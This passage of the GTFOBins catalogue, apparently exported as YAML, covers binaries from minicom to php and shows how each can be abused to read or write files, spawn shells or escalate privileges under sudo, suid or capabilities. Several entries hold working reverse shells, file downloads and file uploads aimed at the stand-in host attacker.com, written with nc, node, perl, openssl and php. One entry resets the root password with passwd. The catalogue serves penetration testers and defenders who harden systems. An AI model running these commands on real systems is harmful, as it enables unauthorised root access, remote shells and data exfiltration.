    "content": "---\ncomment: |-\n  Note that in some versions, `Meta-Z` is used in place of `Ctrl-A`.\nfunctions:\n  shell:\n  - code: |-\n      minicom -D /dev/null\n    comment: |-\n      Start the following command to open the TUI interface, then:\n\n      1. press `Ctrl-A o` and select `Filenames and paths`;\n      2. press `e`, type `/bin/sh`, then `Enter`;\n      3. Press `Esc` twice;\n      4. Press `Ctrl-A k` to drop the shell.\n\n      After the shell, exit with `Ctrl-A x`.\n    contexts:\n      sudo:\n      suid:\n        comment: |-\n          Start the following command to open the TUI interface, then:\n\n          1. press `Ctrl-A o` and select `Filenames and paths`;\n          2. press `e`, type `/bin/sh -p`, then `Enter`;\n          3. Press `Esc` twice;\n          4. Press `Ctrl-A k` to drop the shell.\n\n          After the shell, exit with `Ctrl-A x`.\n      unprivileged:\n  - code: |-\n      echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file\n      minicom -D /dev/null -S /path/to/temp-file\n      reset^J\n    comment: |-\n      After the shell, exit with `Ctrl-A x`.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/more",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      more /path/to/input-file\n    comment: |-\n      The file is displayed in the terminal interface.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      more /etc/hosts\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/mosh-server",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      mosh --server=mosh-server localhost /bin/sh\n    comment: |-\n      This requires a valid SSH access.\n    contexts:\n      sudo:\n        comment: |-\n          The `mosh-server` is executed via `sudo`.\n...\n"
  },
  {
    "path": "_gtfobins/mosquitto",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      mosquitto -c /path/to/input-file\n    comment: |-\n      The file is actually parsed and the first wrong line (ending with a newline or a null character) is returned in an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/mount",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      mount -o bind /bin/sh /bin/mount\n      mount\n    comment: |-\n      This overrides `mount` itself with a shell (or any other executable).\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/msfconsole",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      msfconsole\n      irb\n    contexts:\n      sudo:\n      unprivileged:\n    from: irb\n...\n"
  },
  {
    "path": "_gtfobins/msgattrib",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      msgattrib -P /path/to/input-file\n    comment: |-\n      The file is parsed and displayed as a Java `.properties` file.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/msgcat",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      msgcat -P /path/to/input-file\n    comment: |-\n      The file is parsed and displayed as a Java `.properties` file.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/msgconv",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      msgconv -P /path/to/input-file\n    comment: |-\n      The file is parsed and displayed as a Java `.properties` file.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/msgfilter",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      msgfilter -P -i /path/to/input-file /bin/cat\n    comment: |-\n      The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'\n    comment: |-\n      The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option.\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          echo x | msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/msgmerge",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      msgmerge -P /path/to/input-file /dev/null\n    comment: |-\n      The file is parsed and displayed as a Java `.properties` file.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/msguniq",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      msguniq -P /path/to/input-file\n    comment: |-\n      The file is parsed and displayed as a Java `.properties` file.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/mtr",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      mtr --raw -F /path/to/input-file\n    comment: |-\n      The file is actually parsed, thus the content is corrupted by error prints.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/multitime",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      multitime /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          multitime /bin/sh -p\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/mutt",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      mutt -F /path/to/input-file\n    comment: |-\n      The file is leaked as error messages.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/mv",
    "content": "---\nfunctions:\n  file-write:\n  - code: |-\n      echo DATA >/path/to/temp-file\n      mv /path/to/temp-file /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  privilege-escalation:\n  - code: |-\n      mv /path/to/input-file /path/to/output-file\n    comment: |-\n      This can be used to move and then read or write files from a restricted file systems or with elevated privileges.\n    contexts:\n      sudo:\n      suid:\n...\n"
  },
  {
    "path": "_gtfobins/mypy",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      mypy /path/to/input-file\n    comment: |-\n      Partial content is leaked as error messages.\n    contexts:\n      sudo:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      mypy /path/to/input-file --junit-xml /path/to/output-file\n    comment: |-\n      Partial content is leaked as error messages inside some XML tags.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/mysql",
    "content": "---\ncomment: |-\n  A valid MySQL server must be available to connect to.\nfunctions:\n  library-load:\n  - code: |-\n      mysql --default-auth ../../../../../path/to/lib\n    comment: |-\n      The following loads the `/path/to/lib.so` shared object.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    version: |-\n      5.5\n  shell:\n  - code: |-\n      mysql -e '\\! /bin/sh'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nano",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      nano /path/to/input-file\n    comment: |-\n      The file content is displayed in the terminal interface.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      nano /path/to/output-file\n      DATA\n      ^O\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      nano\n      ^R^X\n      reset; sh 1>&0 2>&0\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      nano -s /bin/sh\n      /bin/sh\n      ^T^T\n    comment: |-\n      The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          nano -s '/bin/sh -p'\n          /bin/sh -p\n          ^T^T\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nasm",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      nasm -@ /path/to/input-file\n    comment: |-\n      The file content is treated as command line options and disclosed throught error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nawk",
    "content": "---\nalias: gawk\n...\n"
  },
  {
    "path": "_gtfobins/nc",
    "content": "---\nfunctions:\n  bind-shell:\n  - code: |-\n      nc -l -p 12345 -e /bin/sh\n    comment: |-\n      This only works with netcat traditional.\n    connector: tcp-client\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  download:\n  - code: |-\n      nc -l -p 12345 >/path/to/output-file\n    comment: |-\n      The file is actually written by the invoking shell.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: tcp-client\n  - code: |-\n      nc attacker.com 12345 >/path/to/output-file\n    comment: |-\n      The file is actually written by the invoking shell.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: tcp-server\n  reverse-shell:\n  - code: |-\n      nc -e /bin/sh attacker.com 12345\n    comment: |-\n      This only works with netcat traditional.\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    listener: tcp-server\n  upload:\n  - code: |-\n      nc -l -p 12345 </path/to/input-file\n    comment: |-\n      The file is actually read by the invoking shell.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: tcp-client\n  - code: |-\n      nc attacker.com 12345 </path/to/input-file\n    comment: |-\n      The file is actually read by the invoking shell.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: tcp-server\n...\n"
  },
  {
    "path": "_gtfobins/ncdu",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ncdu\n      b\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ncftp",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      ncftp\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          ncftp\n          !/bin/sh -p\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/needrestart",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      echo '...' >/path/to/temp-file\n      needrestart -c /path/to/temp-file\n    comment: |-\n      This allows to run Perl code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: perl\n...\n"
  },
  {
    "path": "_gtfobins/neofetch",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      neofetch --ascii /path/to/input-file\n    comment: |-\n      The file content is used as the logo while some other information is displayed on its right.\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      echo 'exec /bin/sh' >/path/to/temp-file\n      neofetch --config /path/to/temp-file\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nft",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      nft -f /path/to/input-file\n    comment: |-\n      The content is actually parsed and corrupted by the command.\n    contexts:\n      sudo:\n      unprivileged:\n    version: |-\n      `nftables` >= 0.9.0\n...\n"
  },
  {
    "path": "_gtfobins/nginx",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      cat >/path/to/temp-file <<EOF\n      user root;\n      http {\n        server {\n          listen 80;\n          root /;\n          autoindex on;\n          dav_methods PUT;\n        }\n      }\n      events {}\n      EOF\n\n      nginx -c /path/to/temp-file\n    contexts:\n      sudo:\n    sender:\n      code: |-\n        curl -X PUT victim.com/path/to/output-file --data-binary @/path/to/input-file\n      comment: |-\n        An HTTP client can be used on the attacker box to send the data.\n  library-load:\n  - code: |-\n      cat >/path/to/temp-file <<EOF\n      load_module /path/to/lib.so\n      EOF\n\n      nginx -t -c /path/to/temp-file\n    comment: |-\n      Alternatively, the `ssl_engine` directive can be used.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  upload:\n  - code: |-\n      cat >/path/to/temp-file <<EOF\n      user root;\n      http {\n        server {\n          listen 80;\n          root /;\n          autoindex on;\n          dav_methods PUT;\n        }\n      }\n      events {}\n      EOF\n\n      nginx -c /path/to/temp-file\n    contexts:\n      sudo:\n    receiver: http-client\n...\n"
  },
  {
    "path": "_gtfobins/nice",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      nice /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          nice /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nl",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      nl -bn -w1 -s '' /path/to/input-file\n    comment: |-\n      The read file content is corrupted by a leading space added to each line.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nm",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      nm /path/to/input-file\n    comment: |-\n      The file content is treated as command line options and disclosed through error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nmap",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      nmap -iL /path/to/input-file\n    comment: |-\n      The file is actually parsed as a list of hosts/networks, lines are leaked through error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      nmap -oG=/path/to/output-file DATA\n    comment: |-\n      The payload appears inside the regular nmap output.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      echo '...' >/path/to/temp-file\n      nmap --script=/path/to/temp-file\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: lua\n  shell:\n  - code: |-\n      nmap --interactive\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n    version: |-\n      2.02 to 5.21\n...\n"
  },
  {
    "path": "_gtfobins/node",
    "content": "---\nfunctions:\n  bind-shell:\n  - code: |-\n      node -e 'sh = require(\"child_process\").spawn(\"/bin/sh\");\n      require(\"net\").createServer(function (client) {\n        client.pipe(sh.stdin);\n        sh.stdout.pipe(client);\n        sh.stderr.pipe(client);\n      }).listen(12345)'\n    connector: tcp-client\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          node -e 'sh = require(\"child_process\").spawn(\"/bin/sh\", [\"-p\"]);\n          require(\"net\").createServer(function (client) {\n            client.pipe(sh.stdin);\n            sh.stdout.pipe(client);\n            sh.stderr.pipe(client);\n          }).listen(12345)'\n      unprivileged:\n  download:\n  - code: |-\n      node -e 'require(\"http\").get(\"http://attacker.com/path/to/input-file\", res => res.pipe(require(\"fs\").createWriteStream(\"/path/to/output-file\")))'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: http-server\n  file-read:\n  - code: |-\n      node -e 'process.stdout.write(require(\"fs\").readFileSync(\"/path/to/input-file\"))'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      node -e 'require(\"fs\").writeFileSync(\"/path/to/output-file\", \"DATA\")'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      node -e 'sh = require(\"child_process\").spawn(\"/bin/sh\");\n      require(\"net\").connect(12345, \"attacker.com\", function () {\n        this.pipe(sh.stdin);\n        sh.stdout.pipe(this);\n        sh.stderr.pipe(this);\n      })'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          node -e 'sh = require(\"child_process\").spawn(\"/bin/sh\", [\"-p\"]);\n          require(\"net\").connect(12345, \"attacker.com\", function () {\n            this.pipe(sh.stdin);\n            sh.stdout.pipe(this);\n            sh.stderr.pipe(this);\n          })'\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n    contexts:\n      capabilities:\n        code: |-\n          node -e 'process.setuid(0); require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n        list:\n        - CAP_SETUID\n      sudo:\n      suid:\n        code: |-\n          node -e 'require(\"child_process\").spawn(\"/bin/sh\", [\"-p\"], {stdio: [0, 1, 2]})'\n      unprivileged:\n  upload:\n  - code: |-\n      node -e 'require(\"fs\").createReadStream(\"/path/to/input-file\").pipe(require(\"http\").request(\"http://attacker.com/path/to/output-file\"))'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: http-server\n...\n"
  },
  {
    "path": "_gtfobins/nohup",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      nohup /path/to/command\n      cat nohup.out\n    comment: |-\n      The `nohup.out` file contains the standard output and error of the command.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      nohup /bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'\n    comment: |-\n      This creates a `nohup.out` file in the current working directory.\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          nohup /bin/sh -p -c '/bin/sh -p </dev/tty >/dev/tty 2>/dev/tty'\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/npm",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      npm exec /bin/sh\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      echo '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' >package.json\n      npm -C . i\n    contexts:\n      sudo:\n      unprivileged:\n  - code: |-\n      echo '{\"scripts\": {\"xxx\": \"/bin/sh\"}}' >package.json\n      npm -C . run xxx\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nroff",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      nroff /path/to/input-file\n    comment: |-\n      The file is typeset and some warning messages may appear.\n    contexts:\n      sudo:\n      unprivileged:\n  shell:\n  - code: |-\n      echo /bin/sh >groff\n      chmod +x groff\n      GROFF_BIN_PATH=. nroff\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nsenter",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      nsenter /bin/sh\n    comment: |-\n      The shell command can be omitted.\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          nsenter /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/ntpdate",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      ntpdate -a x -k /path/to/input-file -d localhost\n    comment: |-\n      The file is actually parsed and lines are leaked through error messages.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/nvim",
    "content": "---\nalias: vim\n...\n"
  },
  {
    "path": "_gtfobins/octave",
    "content": "---\ncomment: |-\n  The payloads are compatible with GUI mode.\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      octave-cli --eval 'format none; fid = fopen(\"/path/to/input-file\"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      octave-cli --eval 'fid = fopen(\"/path/to/output-file\", \"w\"); fputs(fid, \"DATA\"); fclose(fid);'\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      octave-cli --eval 'system(\"/bin/sh\")'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/od",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      od -An -c -w999 /path/to/input-file\n    comment: |-\n      Three spaces are added before each character in the read file (wrapped at the specified value, i.e., `999`), and non-printable chars are printed as backslash escape sequences.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/opencode",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      opencode\n      ! /path/to/command\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  inherit:\n  - code: |-\n      opencode db '...'\n    comment: |-\n      This allows to run SQLite queries (`...`) provided that `sqlite3` is installed.\n    contexts:\n      sudo:\n      unprivileged:\n    from: sqlite3\n...\n"
  },
  {
    "path": "_gtfobins/openssl",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    sender: tls-server\n  file-read:\n  - code: |-\n      openssl enc -in /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      echo DATA | openssl enc -out /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  - code: |-\n      openssl enc -in /path/to/input-file -out /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  library-load:\n  - code: |-\n      openssl req -engine ./lib.so\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      mkfifo /path/to/temp-socket\n      /bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket\n    comment: |-\n      The shell process is not spawn by `openssl`.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    listener: tls-server\n  upload:\n  - code: |-\n      openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    receiver: tls-server\n...\n"
  },
  {
    "path": "_gtfobins/openvpn",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      openvpn --config /path/to/input-file\n    comment: |-\n      The file is actually parsed and the first partial wrong line is returned in an error message.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      openvpn --dev null --script-security 2 --up '/bin/sh -s'\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          openvpn --dev null --script-security 2 --up '/bin/sh -p -s'\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/openvt",
    "content": "---\nfunctions:\n  command:\n  - blind: true\n    code: |-\n      openvt -- /path/to/command\n    comment: |-\n      The command execution is displayed on the virtual console.\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/opkg",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      rpm opkg install x_1.0_all.deb\n    comment: |-\n      Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n\n      ```\n      echo 'exec /bin/sh' >x.sh\n      fpm -n x -s dir -t deb -a all --before-install x.sh .\n      ```\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/pandoc",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      pandoc -t plain /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - binary: false\n    code: |-\n      echo DATA | pandoc -t plain -o /path/to/output-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  inherit:\n  - code: |-\n      echo '...' >/path/to/temp-file\n      pandoc -L /path/to/temp-file /dev/null\n    comment: |-\n      This allows to run Lua code (`...`).\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n    from: lua\n...\n"
  },
  {
    "path": "_gtfobins/passwd",
    "content": "---\nfunctions:\n  privilege-escalation:\n  - code: |-\n      echo -e 'x\\nx' | passwd\n    comment: |-\n      This changes the root password to `x`, so it's now possible to log in using, for example, `su`.\n    contexts:\n      sudo:\n...\n"
  },
  {
    "path": "_gtfobins/paste",
    "content": "---\nfunctions:\n  file-read:\n  - binary: false\n    code: |-\n      paste /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pax",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      pax -w /path/to/input-file | tar -xO\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pdb",
    "content": "---\nfunctions:\n  inherit:\n  - code: |-\n      echo '...' >/path/to/temp-file\n      pdb /path/to/temp-file\n      cont\n    comment: |-\n      This allows to run Python code (`...`).\n    contexts:\n      sudo:\n      unprivileged:\n    from: python\n...\n"
  },
  {
    "path": "_gtfobins/pdflatex",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{/path/to/input-file}\\end{document}'\n      pdftotext texput.pdf -\n    comment: |-\n      The read file will be part of the PDF output.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  file-write:\n  - code: |-\n      pdflatex '\\documentclass{article}\\newwrite\\tempfile\\begin{document}\\immediate\\openout\\tempfile=output-file.tex\\immediate\\write\\tempfile{DATA}\\immediate\\closeout\\tempfile\\end{document}'\n    comment: |-\n      The file can only be written in the current directory, and the `.tex` extension is mandatory.\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pdftex",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      pdftex --shell-escape '\\write18{/bin/sh}\\end'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/perf",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      perf stat /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          perf stat /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/perl",
    "content": "---\nfunctions:\n  download:\n  - code: |-\n      perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>\"attacker.com\",PeerPort=>80,Proto=>\"tcp\") or die; print $s \"GET /path/to/input-file HTTP/1.1\\r\\nHost: attacker.com\\r\\nMetadata: true\\r\\nConnection: close\\r\\n\\r\\n\"; open(my $fh, \">\", \"/path/to/output-file\") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq \"\\r\\n\") { $in_content = 1; } } close($s); close($fh);'\n    contexts:\n      sudo:\n      unprivileged:\n    sender: http-server\n  file-read:\n  - code: |-\n      perl -ne print /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  reverse-shell:\n  - code: |-\n      perl -e 'use Socket;$i=\"attacker.com\";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n    contexts:\n      sudo:\n      unprivileged:\n    listener: tcp-server\n  shell:\n  - code: |-\n      perl -e 'exec \"/bin/sh\"'\n    contexts:\n      capabilities:\n        code: |-\n          perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/sh\"'\n        list:\n        - CAP_SETUID\n      sudo:\n      unprivileged:\n  - code: |-\n      PERL5OPT=-d PERL5DB='exec \"/bin/sh\"' perl /dev/null\n    comment: |-\n      The `/dev/null` part can be omitted, just use `Ctrl-D` in order to spawn the shell.\n    contexts:\n      sudo:\n      unprivileged:\n  upload:\n  - code: |-\n      perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>\"attacker.com\", PeerPort=>80, Proto=>\"tcp\") or die;open(my $file, \"<\", \"/path/to/input-file\") or die;$content = join(\"\", <$file>);close($file);$headers = \"POST / HTTP/1.1\\r\\nHost: attacker.com\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: \" . length($content) . \"\\r\\nConnection: close\\r\\n\\r\\n\";print $s $headers . $content;while (<$s>) { }close($s);'\n    contexts:\n      sudo:\n      unprivileged:\n    receiver: http-server\n...\n"
  },
  {
    "path": "_gtfobins/perlbug",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      perlbug -s 'x x x' -r x -c x -e 'exec /bin/sh #'\n    comment: |-\n      This requires to press `Enter` serveral times before the shell is spawn.\n    contexts:\n      sudo:\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pexec",
    "content": "---\nfunctions:\n  shell:\n  - code: |-\n      pexec /bin/sh\n    contexts:\n      sudo:\n      suid:\n        code: |-\n          pexec /bin/sh -p\n        shell: false\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/pg",
    "content": "---\nfunctions:\n  file-read:\n  - code: |-\n      pg /path/to/input-file\n    contexts:\n      sudo:\n      suid:\n      unprivileged:\n  shell:\n  - code: |-\n      pg /etc/hosts\n      !/bin/sh\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n...\n"
  },
  {
    "path": "_gtfobins/php",
    "content": "---\nfunctions:\n  command:\n  - code: |-\n      php -r 'echo shell_exec(\"/path/to/command\");'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      php -r '$r=array(); exec(\"/path/to/command\", $r); print(join(\"\\n\",$r));'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  - code: |-\n      php -r '$p = array(array(\"pipe\",\"r\"),array(\"pipe\",\"w\"),array(\"pipe\", \"w\"));$h = @proc_open(\"/path/to/command\", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'\n    contexts:\n      sudo:\n      suid:\n        shell: true\n      unprivileged:\n  download:\n  - code: |-\n      php -r '$c=file_get_contents(\"http://attacker.com/path/to/input-file\"); file_put_contents(\"/path/to/output-file\", $c);'\n    contexts:\n      sudo:\n      suid:\n      